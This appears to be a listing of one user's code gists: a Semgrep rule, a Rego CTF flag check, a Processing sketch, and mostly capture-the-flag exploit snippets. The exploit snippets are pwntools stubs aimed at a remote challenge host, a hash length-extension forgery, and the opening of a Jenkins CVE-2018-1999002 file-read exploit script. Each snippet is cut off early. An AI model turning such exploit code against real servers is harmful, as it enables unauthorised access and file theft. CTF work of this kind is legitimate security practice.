Becojo

rules:
  - id: i-messed-up-my-markdown-links
    languages: [generic]
    severity: WARNING
    message: i-messed-up-my-markdown-links
    patterns:
      - pattern: |
          ($...A)[$...B]
    fix: |
      [$...A]($...B)

Becojo

package challenge1

default correct_flag = false

mycorize(s) := replace(replace(s, "o", "0"), "i", "y")

correct_flag {
    words := ["champ", "mycoverse", "exo", "meta", "cyber", "block", "chain", "life"]
    parts := split(input.flag, "-")
    parts[1] == mycorize(words[x])

Becojo

void setup() {
  size(500, 500);
  stroke(0);
  noStroke();
}

void draw() {
  background(#3C5E84);
  
  float r = frameCount / 33.0;

Becojo

import requests
import sys
import os

PLUGIN = 'credentials'
BACKDIR_COUNT = 10

if len(sys.argv) != 3:
    print 'usage:\n\tpython CVE-2018-1999002.py [jenkins base url] [absolute file path]'
    print ''

Becojo

import requests
from hashpumpy import hashpump

url = 'http://wawacoin.challs.malice.fr/manager'

data = '757365723d64656d6f'.decode('hex')
signature = '9183ff6055a46981f2f71cd36430ed3d9cbf6861'

(m2_s, m2) = hashpump(signature, data, "&user=admin", 16)

Becojo

import cv2
import numpy as np
import os
import subprocess

# Download the current frame
os.system("curl https://security-cctv.dctf-f1nals-2017.def.camp/img/streamframe.png > out.png")

# Find the homography for the QR code displayed on the phone to a 200x200 image
# These are the coordinates of the corners of the QR code on the image

Becojo

from z3 import *

def C03011(Qml5):
	C12d =0
	for Po4M in Qml5:
		C12d = (31 * C12d + (Po4M)) & 0xFFFFFFFF
	return ((C12d + 0x80000000) & 0xFFFFFFFF) - 0X80000000


username = [BitVec('u' + str(i), 32) for i in range(6)]

Becojo

#!/usr/bin/env python2

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

host = "54.153.19.139"
port = 5255

Becojo

from pwn import *

context.arch = 'amd64'

elf = ELF('./pwn150')
# p = process('tee i | ./pwn150', shell=True)
p = remote("54.153.19.139", 5253)

offset = 88

Becojo

from pwn import *

# p = process('tee i | ./pwn100', shell=True)
p = remote("54.153.19.139",5251)

calleax = 0x08048386

payload = asm("jmp $+32")
payload = payload.ljust(32 - 4)
payload += p32(calleax)